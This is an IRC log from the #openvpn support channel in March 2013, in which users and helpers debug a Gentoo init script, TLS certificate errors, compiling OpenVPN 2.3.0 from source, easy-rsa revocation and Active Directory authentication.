21:48 < pekster> Either SSD is doing something wrong enough to fail to call /usr/sbin/openvpn properly, or the logs from openvpn get lost. Even at 'verb 0' openvpn still logs fatal errors that would prevent a startup
21:51 < pekster> fulcan: For the record, I can launch /etc/init.d/openvpn fine with /etc/openvpn/openvpn.conf
21:53 < pekster> Pastebin your openvpn.conf somewhere
21:53 < fulcan> are you on gentoo? and I am supposed to diff that code you sent and create a .patch?
21:54 < pekster> that link was a patch, but nevermind that; your config is at the moment more interesting to me
21:54 < pekster> (the "diff " at the beginning gives it away as a patch)
21:55 < pekster> And yes. I'm running 2.3.0 openvpn ~x86 on Gentoo. Initscript works finei
21:56 < pekster> Oh, and in the future symlink, don't copy init.d files
21:56 < pekster> Look at your net.* stuff for an example of how it's supposed to look
21:58 < pekster> Things should look like this: http://paste.kde.org/693932/
22:00 < fulcan> http://bpaste.net/show/83107/
22:01 < fulcan> http://paste.kde.org/693938/
22:01 < pekster> -p0 likely
22:01 < pekster> Oh, hum...
22:02 < fulcan> the config file is perfect. it's just that init never gets it
22:02 < fulcan> same garbage output with -p0
22:03 < fulcan> cat /etc/openvpn/openvpn.conf|wgetpaste
22:03 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
22:05 < pekster> Oh, patsebin screwed up the patch spacing :(
22:06 < pekster> Not like it's a complicate change...
22:06 < pekster> +d
22:13 -!- TypoNe [~itsme@195.197.184.87] has quit [Quit: I shouldn't really be here - dircproxy 1.1.0]
22:13 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
22:18 < fulcan> I added the line echo start-stop-daemon --start --exec /usr/sbin/openvpn --pidfile "${VPNPID}" \    and still got no log output  "manual patch".
22:21 < pekster> Then you did something wrong
22:22 < pekster> Output on your terminal should pretty obviously echo that to the terminal. http://paste.kde.org/693944/
22:22 < pekster> Let me know if you manage to figure it out
22:23 < fulcan> pekster http://bpaste.net/show/83111/
22:24 < pekster> Nope
22:24 < pekster> Add an echo
22:24 < pekster> Not add crap to the middle of ssd
22:25 < pekster> if /bin/whatever $stuff fails, you don't do /bin/whatever $stuff echo $morestuff. You do: echo /bin/whatever $stuff
22:25 < fulcan> pekster line 114?
22:26 < pekster> Remove/comment 113
22:26 < pekster> Note the backslash on the end? You're just spewing worthless (and inherently broken, since "echo" is not a command ssd knows) to the middle of a command
22:33 < fulcan> pekster in your patch you have an escape \ at the end of that line. You are saying "don't" escape line 114? I get a bad command error.
22:35 < ngharo> !fail2ban
22:35 <@vpnHelper> "fail2ban" is in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
22:35 -!- Teck7 [~teck7@76.65.61.190] has joined #openvpn
22:36 -!- vraa__ [~speed_rac@98.196.168.201] has joined #openvpn
22:36 < fulcan> ngharo it doesn't work very well
22:36 < ngharo> whys that
22:36 < fulcan> door gets stuck all the time
22:37 < fulcan> crap debugging (or what I could find)
22:37 -!- rfxn [~teck7@69.157.149.169] has quit [Ping timeout: 245 seconds]
22:38 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 252 seconds]
22:42 < fulcan> pekster I got the echo to work, and it spit out the parameters, but nothing in the logs http://pastie.org/6457580
22:48 < fulcan> right now my tunnel is up
22:51 < pekster> You're logging to syslog, so the fact that you get "nothing" in messages suggests syslog isn't working right. You can always add 'log-append /tmp/openvpn.log' or something to the openvpn.conf file
22:52 < pekster> init looks fine
22:53 < pekster> There's likely an error starting openvpn and it's note getting sent to syslog. You need to fix your system logging
22:53 < pekster> not*
22:56 < fulcan> I got it up and now I can't repeat what I did
22:57 < fulcan> what am I missing  /etc/init.d/openvpn.openvpn: line 114: --: command not found     http://bpaste.net/show/83113/   ??
23:00 <@EugeneKay> You have a trailing space on 113
23:01 <@EugeneKay> This is why \\n is evil
23:02 < fulcan> Well, get this, I'm up after removing trailing space and adding echo. If I remove echo, it won't restart. wtf?
23:03 < fulcan> at least I got a fix, but 'huh?'
23:08 < fulcan> but I came up under a different tun
23:16 < pekster> It'll "start" when using the echo because it's not actually starting the openvpn process
23:16 < pekster> Just echoing what it would do to call ssd
23:18 < pekster> You can scrape that off; the output you pasted earlier looks fine for what ssd should be doing
23:18 < fulcan> openvpn starts and I can see the ip on both tuns, but I cannot ping down the tunnel, nor can other connect to me. logs are still bare http://pastie.org/6457692
23:19 < pekster> Did you put the initscript back?
23:19 < pekster> Or at least duplicate the actuall start-stop-daemon command after the echo line?
23:21 < pekster> The lack of logs is a problem (as I said before, maybe your syslog isn't operating as you intended?) Add the 'log' or 'log-append' option to your configs manually to get proper log output sent at least somewhere useful
23:25 < fulcan> Nope, there is something deeper going on. even -> /usr/sbin/openvpn --config /etc/openvpn/connect.conf    clients still cannot connect
23:26  * pekster thought the issue was starting it without it denoting failure
23:28 < fulcan> that was/is, don't know. The same config worked for 6 months and we restarted the machine many times since. this started after yesterday's update.
23:30 < fulcan> and at this point the 'omly' thing I have done, is add an echo to the front of that line in the init scripts.
23:32 < pekster> Right. Remove it. If you don't have much bash scripting, leaving it in is a debugging thing only and doesn't actually do anything to start your VPN. It just "echoes" what it would do
23:32 < pekster> (and I'm sorry to say if that's an issue, Gentoo probably isn't the right distro)
23:33 -!- wachpwnski [~wachpwnsk@67.176.229.52] has quit [Quit: Leaving.]
23:33 < fulcan> why would adding a echo be the difference between it starting and it failing to start?
23:33  * pekster sighs
23:33 < pekster> Becuase it's just printing text. It "successfully" printed the text
23:33 < fulcan> if I remove the echo, it won't start
23:33 < pekster> Right. because something is broken
23:33 < fulcan> the port goes up!
23:33 < pekster> http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo-x86/net-misc/openvpn/files/openvpn.init?view=log
23:34 <@vpnHelper> Title: [gentoo-x86] Log of /net-misc/openvpn/files/openvpn.init (at sources.gentoo.org)
23:34 < pekster> The initscsript hasn't changed in 3 years
23:34 < pekster> The "stupid developers" as you so aptly worded it, haven't touched the init
23:38 -!- brute11k [~brute@89.249.235.15] has joined #openvpn
23:39 < pekster> Check to make sure the changes you've made don't break something unintended: http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo-x86/net-misc/openvpn/files/openvpn.init
23:42 < pekster> Hmm, actually, no clue what that link is
23:42 < pekster> Sorry, ignore that last link
23:43 < pekster> This is the right one (upstream had a stupid naming scheme) http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo-x86/net-misc/openvpn/files/openvpn-2.1.init
23:43 < pekster> Erm, downstream
23:43 < pekster> :)
23:46 < pekster> k, init is indeed fine (once you fix the debugging thing.) The rest of your changes are cosmetic. My guess is any issues you have are a result of the user downgrading happening
23:51 < pekster> Make sure your init has been reverted (or better yet, just do 'cp /usr/portage/net-misc/openvpn/files/openvpn-2.1.init /etc/init.d/openvpn' to gaurentee it's fixed) and here's some proof of concept to run: http://paste.kde.org/693950/ (back up openvpn.conf first, since this'll overwrite it)
23:53 < pekster> If that fails, it'll be important to figure out why
23:53 < pekster> If not, it's something in your config that's the issue, possibly made worse by syslog issues
23:54 < pekster> Again, note that the initscirpt does not just "start the config" -- it adds options to the command-line call
23:55 < fulcan> fortunately I have good backups and am restoring to prior to update.
23:56 < pekster> Well, figuring out why would be better. clearly something changed (and it wasn't anything to do with the initscript.)
23:57 < pekster> OpenVPN hasn't had anything of note in the changelog since 09 Feb 2013, and that was a minor change to the up.sh script. Last change before that was 25 Jan 2013, adding 2.3.0
23:57 < pekster> No clue what "else" you updated, but I'm pretty confident your issue isn't the initscript or any change in gentoo's openvpn package/ebuild
23:58 < pekster> At least not the shipped initscript
--- Day changed Tue Mar 12 2013
00:02 < fulcan> http://bpaste.net/show/83118/
00:02 < fulcan> march 10
00:04 < pekster> So what? You build a package. Congrats. Maybe your compile screwed up. I'm talking about source changes. Things those of us who develop and contributed to Gentoo and/or OpenVPN code can actually do something about
00:05 -!- GabeTheBabe [~toomuchfo@75-170-24-37.eugn.qwest.net] has joined #openvpn
00:06 < pekster> Thanks for trying to blame us "st00pid dev"s. Protip: gentoo mgiht not be for you if you update 58 packages, none of them openvpn, and you attempt to blame the change on an initscript that hasn't changed for 3 years. I'm done.
00:07 < GabeTheBabe> Hello, is there anyone here that can help me with my issue? I've been getting this error on my vpn client since I connected my computer up to a tv. http://i.imgur.com/nTOpKfV.png
00:07 <@EugeneKay> http://funroll-loops.info/
00:07 <@vpnHelper> Title: Welcome to Gentoo is Rice, the Volume goes to 11 here. (at funroll-loops.info)
00:07 <@EugeneKay> GabeTheBabe - "VPNTunnel" is not OpenVPN. Sorry.
00:07 <@EugeneKay> Try talking to your service provider's support.
00:08 < pekster> EugeneKay: Volume only goes to 11? I'll sell you a gcc that goes to 12 for just $50k ;)
00:08 <@EugeneKay> It looks to me like a shitty Java stack
00:08 < GabeTheBabe> I know it's not :o it's been 4 days and I've got like 3 left on my VPN anyways :x
00:08 <@EugeneKay> pekster - zomg does it -O3?
00:08 < pekster> -O999
00:08 < pekster> geez :P
00:08 < GabeTheBabe> gonna not resub if they don't email me a fix :P
00:09 -!- vraa__ [~speed_rac@98.196.168.201] has quit [Ping timeout: 245 seconds]
00:10 < GabeTheBabe> openvpn is a pain to setup with certs and stuff T_T
00:11 <@EugeneKay> XCA makes PKI a lot easier
00:12 < GabeTheBabe> people have to be familiar with acronyms for them to be effective :P
00:13 < pekster> It would naturally help if you GNU them all in advance
00:13 < pekster> !xca
00:13 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
00:19 < p3rror> hello
00:19 < p3rror> please Why I get this error TLS Error: Unroutable control packet received from [AF_INET]
00:19 < p3rror> whe i try to connect
00:25 < p3rror> pekster, you there
00:25 < p3rror> please can you help
00:33 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Excess Flood]
00:35 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
00:45 -!- GabeTheBabe [~toomuchfo@75-170-24-37.eugn.qwest.net] has left #openvpn []
01:07 -!- p3rror [~mezgani@41.140.169.138] has quit [Ping timeout: 245 seconds]
01:09 -!- merica [~aMERICA@75.111.203.42] has joined #openvpn
01:15 -!- p3rror [~mezgani@41.140.169.138] has joined #openvpn
01:17 -!- p3rror [~mezgani@41.140.169.138] has quit [Max SendQ exceeded]
01:17 -!- p3rror [~mezgani@ds-59836.dedicados.laniway.com.br] has joined #openvpn
01:22 -!- merica [~aMERICA@75.111.203.42] has quit [Read error: Connection reset by peer]
01:22 -!- p3rror [~mezgani@ds-59836.dedicados.laniway.com.br] has quit [Quit: Leaving]
01:23 -!- merica [~aMERICA@75.111.203.42] has joined #openvpn
01:41 -!- merica [~aMERICA@75.111.203.42] has quit [Read error: Connection reset by peer]
01:43 -!- merica [~aMERICA@75.111.203.42] has joined #openvpn
01:43 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
02:12 -!- merica [~aMERICA@75.111.203.42] has left #openvpn []
02:56 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
02:58 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Client Quit]
03:08 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:27 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 256 seconds]
03:28 -!- brute11k1 [~brute@89.249.235.15] has joined #openvpn
03:29 -!- brute11k [~brute@89.249.235.15] has quit [Ping timeout: 245 seconds]
03:31 -!- brute11k [~brute@89.249.235.15] has joined #openvpn
03:32 -!- brute11k1 [~brute@89.249.235.15] has quit [Ping timeout: 252 seconds]
03:42 -!- brute11k [~brute@89.249.235.15] has quit [Ping timeout: 255 seconds]
03:43 -!- p3rror [~mezgani@ds-59836.dedicados.laniway.com.br] has joined #openvpn
03:47 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:24 -!- zz_AsadH is now known as AsadH
05:14 -!- p3rror [~mezgani@ds-59836.dedicados.laniway.com.br] has quit [Ping timeout: 260 seconds]
05:23 < jzaw> pekster, that weird asymmetrical ping on the tun vpn ... fixed M0N0WALL arrgh
05:23 < jzaw> http://photos.dzki.co.uk/m0n0wall_adv_setting_bypass_fw_same_interface.png
05:23 < jzaw> possibly something to do with icmp redirect
05:23 < jzaw> anyhoo thanks for all your help
05:27 -!- p3rror [~mezgani@41.140.169.138] has joined #openvpn
05:35 -!- hatschi [~marvin@host-62-245-234-8.customer.m-online.net] has joined #openvpn
05:36 < hatschi> hi all
05:38 < hatschi> pekster: are you there?
06:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
06:02 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
06:07 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 256 seconds]
06:13 -!- mjixx [~markus@80.67.14.31] has quit [Ping timeout: 245 seconds]
06:14 -!- Bakou [~meh@199.101.117.191] has joined #openvpn
06:15 < Bakou> hey guys, I am doing a little experiment and trying to tunnel openvpn through a udp tunnel I wrote
06:15 < Bakou> but after accepting the handshake and getting connected no data can be sent
06:16 < Bakou> is there some limitation about both the client and server being at localhost,or forwarding the packets?
06:16 < Bakou> the same thing works fine through SSH tunneling w/ tcp
06:20 -!- mjixx [~markus@80.67.14.31] has joined #openvpn
06:25 -!- Bakz [~meh@210.56.51.163] has joined #openvpn
06:29 -!- Bakou [~meh@199.101.117.191] has quit [Ping timeout: 256 seconds]
--- Log closed Tue Mar 12 06:35:29 2013
--- Log opened Tue Mar 12 06:35:43 2013
06:35 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
06:35 -!- Irssi: #openvpn: Total of 174 nicks [8 ops, 0 halfops, 2 voices, 164 normal]
06:36 -!- Irssi: Join to #openvpn was synced in 45 secs
06:37 -!- lbft__ [~lbft@199.195.249.177] has joined #openvpn
06:38 -!- soapee01_ [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
06:38 -!- piele_ [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
06:39 -!- feth_ [foobar@ile-flottante.tuttu.info] has joined #openvpn
06:40 < vaillor> TLS Error: client->client or server->server connection attempted from 229.76.227.83:5001
06:40 < vaillor> could it be a problem with certificates?
06:43 -!- simcop2387_ [~simcop238@p3m/member/simcop2387] has joined #openvpn
06:43 -!- Netsplit *.net <-> *.split quits: _quadDamage, +soapee01, simcop2387, vect0rx, @ecrist, feth, lbft, DrCode, piele
06:43 -!- simcop2387_ is now known as simcop2387
06:48 -!- feth_ is now known as feth
06:53 -!- marksaitis [~marksaiti@81.101.81.114] has joined #openvpn
06:57 -!- You're now known as ecrist
06:58 -!- mode/#openvpn [+o ecrist] by ChanServ
07:04 -!- kubbing [~kubbing@c-006.certicon.cz] has joined #openvpn
07:13 -!- kubbing [~kubbing@c-006.certicon.cz] has quit [Ping timeout: 252 seconds]
07:14 -!- kubbing [~kubbing@gprs29.vodafone.cz] has joined #openvpn
07:15 -!- dazo_afk is now known as dazo
07:25 <@ecrist> !ubuntu
07:25 <@vpnHelper> "ubuntu" is dont use network manager!
07:25 <@ecrist> !networkmanager
07:25 <@ecrist> !netman
07:26 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
07:30 < vaillor> ecrist,, do do you think that "TLS Error: client->client or server->server connection attempted from 229.76.227.83:5001" is a problem about certificates?
07:31 <@ecrist> anything, generally, that mentions TLS Error has to do with certificates
07:32 -!- newbie [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
07:32 < vaillor> ecrist: http://pastebin.com/NRC1dCMk
07:32 < vaillor> this is my config
07:33 < vaillor> what do you thing should be the problem?
07:33 <@ecrist> !logs
07:33 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
07:36 < vaillor> ecrist, server side or client side?
07:36 <@ecrist> yup
07:36 < vaillor> both?
07:36 <@ecrist> yup
07:36 <@ecrist> it says that, above
07:36 <@ecrist> 07:33:56 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server
07:36 < vaillor> yes, sorry
07:37 < vaillor> on windows gui is blank
07:37 < vaillor> i don't know why
07:37 < vaillor> !logfile
07:37 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
07:38 -!- kubbing [~kubbing@gprs29.vodafone.cz] has quit [Remote host closed the connection]
07:39 -!- kubbing [~kubbing@c-006.certicon.cz] has joined #openvpn
07:41 < vaillor> ecrist: http://sprunge.us/TAUP
07:42 <@ecrist> this is an old log
07:42 <@ecrist> Also, you're running an old version of OpenVPN
07:43 < vaillor> i installed it from apt-get
07:43 <@ecrist> it's out of date
07:43 < vaillor> how to upgrade it?
07:45 <@ecrist> !download
07:45 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
07:45 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
07:45 <@ecrist> also, I need a current log
07:45 <@ecrist> the one you posted is 2 days old
07:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
07:46 < vaillor> ihttp://sprunge.us/ZTCH
07:46 < vaillor> http://sprunge.us/ZTCH
07:46 < vaillor> is right
07:46 < vaillor> date and time are wrong on the system
07:47 <@ecrist> fix it
07:49 < vaillor> ecrist, which version of openvpn do i need?
07:49 <@ecrist> 2.3.0
07:49 <@ecrist> see /topic
07:50 < vaillor> ok, let me get and install it
07:52 <@ecrist> fix the time on that box, too
07:54 < vaillor> done
07:54 < vaillor> ecrist, can you explain /why/ do i need that version?
07:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:54 <@ecrist> vaillor: standard policy that we only support the latest version
08:00 -!- kubbing [~kubbing@c-006.certicon.cz] has quit [Remote host closed the connection]
08:00 < vaillor> <ompaul> vaillor: whose standard policy, I mix it for multiple sites at many levels and don't get issues - seems to me something else is wrong
08:01 <@ecrist> our (#openvpn) standard policy
08:01 <@ecrist> there have been a LOT of changes since 2.1.x
08:02 -!- hatschi [~marvin@host-62-245-234-8.customer.m-online.net] has quit [Ping timeout: 245 seconds]
08:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
08:03 -!- hatschi [~marvin@host-62-245-234-8.customer.m-online.net] has joined #openvpn
08:07 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 245 seconds]
08:20 -!- bahzman [~meh@58.34.152.207] has joined #openvpn
08:21 -!- hatschi [~marvin@host-62-245-234-8.customer.m-online.net] has quit [Read error: Connection reset by peer]
08:21 -!- Bakz [~meh@210.56.51.163] has quit [Ping timeout: 252 seconds]
08:22 -!- hatschi [~marvin@host-62-245-234-8.customer.m-online.net] has joined #openvpn
08:23 < vaillor> ecrist, on windows i shuld use tun or tap?
08:28 <@ecrist> the client needs to match what the server is using
08:28 <@ecrist> in most cases, that's tun
08:29 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:29 < TheWarden> !welcome
08:29 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
08:30 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
08:31 < vaillor> ecrist, certs should be created all on server?
08:31 < TheWarden> Hi, I've recently installed OpenVPN and I was successful in authenticating to the VPN. However I want to remove a user I added. I tried running . /etc/openvpn/easy-rsa/2.0/vars and now I'm getting this "-bash: /etc/openvpn/easy-rsa/whichopensslcnf: No such file or directory", how do I fix this?
08:31 -!- Bakou [~meh@58.34.36.134] has joined #openvpn
08:31 <@ecrist> vaillor: why are you re-creating the certs?
08:32 <@ecrist> TheWarden: did you use easy-rsa to generate the certificates, or something else?
08:32 < vaillor> is possible that certs i created yesterday could be broken
08:32 < vaillor> ?
08:32 < TheWarden> ecrist: I only uses easy-rsa
08:32 < TheWarden> used*
08:32 <@ecrist> vaillor: at this point, I don't think so
08:32 <@ecrist> TheWarden: did you use it on the box your trying to use it on now?
08:33 < vaillor> ecrist is there a way to know that certs are good?
08:33 < TheWarden> ecrist: yes I did
08:33 -!- bahzman [~meh@58.34.152.207] has quit [Ping timeout: 252 seconds]
08:34 < TheWarden> I ran that command before so this is why I'm so confused as to why its not working. I just had it working and no changes have been done to it since then. It was just yesterday I set this all up.
08:34 <@ecrist> you didn't run a cleanall at some point, did you?
08:34 < TheWarden> ecrist: yes I believe I did and I just did this morning to be honest.
08:35 <@ecrist> cleanall is bad
08:35 <@ecrist> it deletes your entire CA structure
08:36 < TheWarden> oh crap, well that sucks. Ahh strange as the keys is still present along with the client files I created.
08:36 < TheWarden> I'll re do ca and client again then to fix this?
08:36 <@ecrist> sounds like that might be the easiest thing to start with
08:36 < TheWarden> ecrist: okay
08:36 <@ecrist> if you have a lot of clients, we can try to get things working
08:37  * ecrist really doesn't like current easy-rsa
08:37 <@ecrist> !ssl-admin
08:37 <@vpnHelper> "ssl-admin" is (#1) if you use freebsd, it is in ports or (#2) svn co https://www.secure-computing.net/svn/trunk/ssl-admin to grab it from svn or (#3) A perl script for managing SSL certificates (being a CA). Makes a good replacement for easy-rsa
08:38 < TheWarden> ecrist: no, I just set it up so there is only one client. Its no trouble to re-do... I just make note to not run that command again. All I wanted to do was re-create the client.
08:40 -!- hatschi [~marvin@host-62-245-234-8.customer.m-online.net] has quit [Ping timeout: 260 seconds]
08:42 -!- mezgani [~mezgani@41.140.99.173] has joined #openvpn
08:42 < vaillor> ecrist, can you tell me an how to to complie openvpn 2.3.0 ?
08:43 <@ecrist> download source, cd <dir>, ./configure && make && make install
08:44 < rob0> ecrist! You forgot to extract the source from the tarball! How could you be so CRUEL?
08:44 <@ecrist> lol
08:44 -!- p3rror [~mezgani@41.140.169.138] has quit [Ping timeout: 252 seconds]
08:45 -!- sejo [~SeJo@fosdem/staff/sejo] has left #openvpn []
08:47 < vaillor> checking git checkout... no
08:47 < vaillor> configure: error: lzo enabled but missing
08:49 <@ecrist> you need to have lzo installed, or disable it in your configure command
08:49 <@ecrist> ./configure --help
08:49 -!- vect0rx [vectorx@havok.org] has joined #openvpn
08:50 < TheWarden> Does easy-rsa really need to be installed at /etc/openvpn/easy-rsa? Really it shouldn't be there as it should be stored in say /opt/ or /usr/local/.
08:50 < vaillor> i can install it
08:50 < vaillor> can you tell me the name of the package please?
08:52 <@ecrist> TheWarden: you can install it anywhere you like, but you might need to edit the scripts for pathing
08:52 < TheWarden> so if I want to revoke/remove a client is i true I would do ". /etc/openvpn/easy-rsa/2.0/vars" then ". /etc/openvpn/easy-rsa/2.0/revoke-full client1" ?
08:52 <@ecrist> one of the things we plan on fixing
08:52 <@ecrist> putting it in /usr/local is canonical across unix OSes
08:52 <@ecrist> correct.
08:52 < TheWarden> ecrist: Oh I see okay, well for now I'll leave it be then.
08:53 < TheWarden> ecrist: ahh okay, thanks.
08:54 < vaillor> liblzo2-dev or liblzo2-2 ?
08:54 < TheWarden> So I have OpenVPN installed and a client installed and working. Which is admittingly really cool and exciting as this is my first VPN I've ever setup. However, my next hurdle is how can I some how make the the VPN authenticate to the domain (active directory)?
08:56 < TheWarden> So saying this, the user would authenticate to the VPN and then automatically be authenticated to the domain. Maybe this is not possible, I dunno.
08:57 < TheWarden> Oh the other thing is, this may not be ideal but the fact is the network the VPN client is connecting to is on 192.168 and the VPN is using 10.8. Presently when the client is authenticated to the VPN the client is not able to access 192.168, how can this be fixed? Yes I've tried ping and that doesn't work.
09:00 < Holiday> TheWarden: I'm no openvpn pro (trust me, some of the guys can attest with the setup/issue I have lol) but I happened across this and didn't know if it'd help you: https://community.openvpn.net/openvpn/wiki/RelatedProjects#Authentication
09:00 <@vpnHelper> Title: RelatedProjects – OpenVPN Community (at community.openvpn.net)
09:01 < TheWarden> Holiday: thanks, I'll have a look.
09:01 -!- HyperGlide [~HyperGlid@221.237.121.63] has joined #openvpn
09:02 < Holiday> TheWarden: (heck those many be included anymore or something I don't have a clue.. and some of the GUI clients for Windows listed there appear to be rather dated and haven't been updated in some time)
09:03 <@ecrist> TheWarden: if you can setup PAM on the openvpn server to auth with active directory, openvpn includes an auth pam module
09:04 < Holiday> ecrist: I'm sure that's a lot easier than maybe this one I found on that link: https://code.google.com/p/openvpn-auth-ldap/
09:04 <@vpnHelper> Title: openvpn-auth-ldap - LDAP authentication and authorization plugin for OpenVPN 2.x - Google Project Hosting (at code.google.com)
09:04 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:04 < vaillor> ecrist, finished ./configure && make && make install
09:04 < vaillor> now, what else do i need?
09:05 < TheWarden> ecrist: mmm not sure if I can or not. The system running OpenVPN also is the Active Directory Domain Controller if that helps.
09:05 < TheWarden> Holiday: I was looking at that actually openvpn-auth-ldap but no clue where to begin. If PAM will work and its already built in that sounds better to me.
09:06 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: Lost terminal]
09:06 < Holiday> yeah the pam method is what we use here for a lot of stuff
09:06 < TheWarden> oh another thing, I know I'm throwing at lot out there at once... where can I get an init.d script for OpenVPN? It works manually right now but I really need an init.d script. I'm running OpenVPN on Debian Squeeze.
09:07 <@ecrist> TheWarden: I've never setup PAM with AD on a windows machine.
09:07 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:08 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 250 seconds]
09:09 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
09:11 < vaillor> ecrist, so? is there a command to install the package after compilation?
09:11 < vaillor> because when i try to run openvpn, i get "command not found"
09:13 < TheWarden> ecrist: oh okay, no problem.
09:13 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
09:13 < TheWarden> Holiday: so your using PAM to authenticate to Active Directory Domain Controller?
09:14 < TheWarden> vaillor: if OpenVPN is installed, you may need to run with sudo in order for it to work.
09:14 < TheWarden> So is there an init.d script that comes with OpenVPN? I haven't found one as of yet.
09:15 < vaillor> TheWarden, openvpn is not installed
09:15 < vaillor> and i'm as a root
09:15 < TheWarden> vaillor: what OS are you using?
09:15 < rob0> The init.d script, if any, is provided by your OS/distro.
09:17 < vaillor> debian
09:17 < TheWarden> rob0: Oh, well that seems odd to me. Debian does not develop nor is it involved with OpenVPN so I can't see them providing it. I'll have to write one. Shouldn't be too hard as I've done some in the past.
09:17 < TheWarden> vaillor: ahh okay, well I actually just did an install on Debian Squeeze. I following this for the most part, http://wingloon.com/2012/05/25/how-to-install-setup-openvpn-on-debian-6-0-squeeze-with-certificate-authentication/
09:17 <@vpnHelper> Title: How To Install Setup OpenVPN on Debian 6.0 Squeeze with Certificate Authentication | WING LOON (at wingloon.com)
09:18 < TheWarden> vaillor: keep in mind I said for the most part, it depends on what you want and what your system configuration is and is going to be.
09:20 < rob0> TheWarden, did you look in the Debian openvpn package?
09:20 < TheWarden> rob0: no I haven't but that would be a good start :-), I installed from OpenVPN repository to get the latest stable.
09:21 < vaillor> TheWarden, i downloaded directly 2.3.0 sources
09:21 < vaillor> and compiled them
09:21 < TheWarden> vaillor: oh really, the repository would have been a better option via OpenVPN at least in my opinion. Either way all should be similar, granted if you have experience doing such things before in the past.
09:22 < Holiday> TheWarden: yes but not with OpenVPN (other utilities). Our openvpn still isn't 100% yet
09:23 < TheWarden> Holiday: well true, but I got it up and running fairly fast I found. It took time and a lot of reading but it paid off.
09:25 -!- brute11k [~brute@89.249.231.191] has joined #openvpn
09:31 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Excess Flood]
09:32 <@ecrist> vaillor: if you ran the make install command, it should be installed
09:32 <@ecrist> depending on your shell, you may need to run "rehash"
09:34 < vaillor> ecrist, make[1]: Leaving directory `/etc/openvpn2/openvpn-2.3.0
09:34 < vaillor> this is the last line of make install
09:35 < vaillor> it means that all went fine?
09:38 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
09:41 -!- mezgani [~mezgani@41.140.99.173] has quit [Quit: Leaving]
09:49 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 255 seconds]
09:49 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
09:50 <@ecrist> vaillor: run this - find / -name openvpn -type f
09:54 < vaillor> root@debian-VM:/etc/openvpn2/openvpn-2.3.0# find / -name openvpn -type f
09:54 < vaillor> /usr/local/sbin/openvpn
